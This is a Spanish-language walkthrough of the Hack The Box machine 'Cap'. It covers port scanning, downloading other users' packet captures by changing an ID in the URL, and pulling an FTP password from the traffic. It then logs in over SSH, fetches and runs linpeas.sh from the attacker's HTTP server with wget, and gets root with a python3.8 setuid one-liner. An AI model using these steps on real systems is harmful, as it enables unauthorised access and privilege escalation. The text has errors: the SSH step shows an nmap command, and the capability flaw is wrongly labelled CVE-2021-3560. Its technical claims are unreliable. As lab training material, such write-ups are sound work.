ShxZ
00:00:00
CAP.md

CAP

Una maquina que aloja una pagina web. El objetivo: aprovechar una mala configuracion en la web, para conseguir unas credeciales en texto plano y posteriormente hacer una escalada de privilegios explotando una Linux Capability mal configurada hasta llegar a conseguir ser root.

nivel easy categoría WEB plataforma Hack the box fecha

01Resumen

CAP es una maquina con un servicio web que nos permite descarganos unos archivos .pcap los cuales contienen un usuario y una contraseña en texto plano con los cuales podremos conectarnos a la maquina victima mediante ssh. Una vez hecho esto usaremos linpeas para analizar dicho sistema en busca de vulnerabilidades hasta encontrar un archivo python el cual nos permite hacer una escalada de privilegios modificando el system(setuid).

02Reconocimiento

Lo primero, hacer un escaneo sobre nuestra victima en busca de puertos y versiones.

bashShxz
$ nmap -p- --open -sS -Pn --min-rate 5000 10.129.120.55 -oN fase-1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-05 22:08 CEST
Nmap scan report for 10.129.120.55
Host is up (0.082s latency).
Not shown: 65134 closed tcp ports (reset), 398 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds
bashShxz
$ nmap -p21,22,80 -sV -sC 10.129.120.55 -oN fase-2
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-05 22:16 CEST
Nmap scan report for 10.129.120.55
Host is up (0.034s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 10.69 seconds
  • Puerto 21- FTP posible futura conexion.
  • Puerto 22 - SSH posible futura conexion.
  • Puerto 80 - TCP servidor web con pagina llamada Security Dashboard.
Nota: Al ver que tenemos una pagina web corriendo por el puerto 80 pasaremos a investigar dicha pagina para ver su contenido.

03Enumeracion de Servicios

Investigaremos la web en busca de vulnerabilidades.

firefox
http://10.129.120.55/
          
          

Al indagar por dicha web vemos que estamos en la sesion de Nathan,ademas en dicha pagina tenemos varios apartados como Security Snapshot,IP Config y Network Status.Al investigar dichas secciones, en el apartado de Security Snapshot vemos que nos permite descarganos un archivo.

firefox
http://10.129.120.55/data/1
          
          

Al entrar en el apartado Security Snapshot vemos que estamos en el directorio /data/1, al seguir investigando dicha pagina y seguir entrando en el apartado vemos como el id cambia, y el numero de paquetes que nos muestra es diferente. Viendo esto decido ir probando numeros hasta que el directorio /data/0 es donde tennemos mas paquetes.

Nota: Desde que vi que el id cambiaba, decidi descargar todos los archivos, una vez descargados todos veo que tienen la extension .pcap

04Analisis del Trafico de la Red

Ahora analizaremos todos nuestros archivos .pcap con Wireshark

Wireshark
Analisis 
          
          

Como podemos observar en este archivo hay trafico TCP, HTTP y FTP, a continacion indagaremos por este trafico en busca de algo que nos pueda resultar util.

Wireshark
Seguimiento Trafico TCP
          
          

Al seguir el trafico TCP podemos ver como encontramos el usuario nathan y su correspondiente contraseña con la cual podremos conectar al usuario nathan a traves de ssh.

05Explotacion - Acceso por SSH

Una vez tenemos el usuario nathan con su correspondiente contraseña, intentaremos crear una conexion mediante SSH indicando el usuario que hemos conseguido seguido de la IP de nuestra maquina victima.

bashShxz
$ nmap -p21,22,80 -sV -sC 10.129.120.55 -oN fase-2
nathan@10.129.120.55
nathan@10.129.120.55's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  6 11:30:39 UTC 2026

  System load:           0.11
  Usage of /:            36.7% of 8.73GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             223
  Users logged in:       0
  IPv4 address for eth0: 10.129.120.136
  IPv6 address for eth0: dead:beef::a0de:adff:fe9f:1df0

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

   https://ubuntu.com/blog/microk8s-memory-optimisation

63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update.

Last login: Sun Sep  6 11:27:48 2026 from 10.10.14.223
nathan@cap:~$ 

Como podemos observar hemos obtenido acceso a nuestra maquina victima con el usuario nathan y correspondiente contraseña. A continuacion investigaremos dicho sistema.

bashShxz
$nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
[flag]
nathan@cap:~$
  

Como podemos observar al listar el contenido del home de nathan encontramos la primera flag, con la cual ya habriamos completado el primer reto de Hack The Box. Una vez hecho esto pasariamos a hacer la escalada de privilegios para conseguir acceso a dicha maquina como root.

06Escalada de privilegios

Al conseguir acceso a la maquina victima con el usuario nathan, pasaremos a hacer la escalada de privilegios, para ello utilizaremos linpeas el cual nos escanea el sistema en busca malas configuraciones, vulnerabilidades...

bashShxz
$python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  

Creamos un servidor HTTP con python para poder enviarnos linpeas.sh a nuesra maquina victima

bashShxz
$nathan@cap wget http://10.10.14.223/linpeas.sh
--2026-09-06 12:33:02--  http://10.10.14.223/linpeas.sh
Connecting to 10.10.14.223:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1144032 (1.1M) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh   100%[=====================================>]   1.09M  4.81MB/s in 0.2s    

2026-09-06 12:33:02 (4.81 MB/s) - ‘linpeas.sh’ saved [1144032/1144032]
nathan@cap
  
Nota: Una vez importado dicho archivo tendremos que darle permisos de ejecucion.
bashShxz
$./linpeas.sh
╔══════════╣ Capabilities (T1548.001)
══╣ Current shell capabilities (T1548.001)
CapInh:  0x0000000000000000=
CapPrm:  0x0000000000000000=
CapEff:	0x0000000000000000=
CapBnd:  0x0000003fffffffff=
CapAmb:  0x0000000000000000=
╚ Parent process capabilities
CapInh:	0x0000000000000000=
CapPrm:	0x0000000000000000=
CapEff:	0x0000000000000000=
CapBnd:	0x0000003fffffffff=
CapAmb:	0x0000000000000000=
══╣ Processes with capability sets (non-zero CapEff/CapAmb, limit 40) (T1548.001)
Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

Como podemos observar en el reporte de linpeas, hemos encontrado un archivo python que nos permite modificar el set_uid, para ver ante que estamos buscamos dicha vulnerabilidad.

Nota: Estamos ante un CVE-2021-3560 el cual nos permite llegar a ser root.
bashShxz
$python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
# cat /root/root.txt
[flag]
  

Una vez ejecutado vemos como hemos conseguido ser usuario root.

Hack The BoxShxz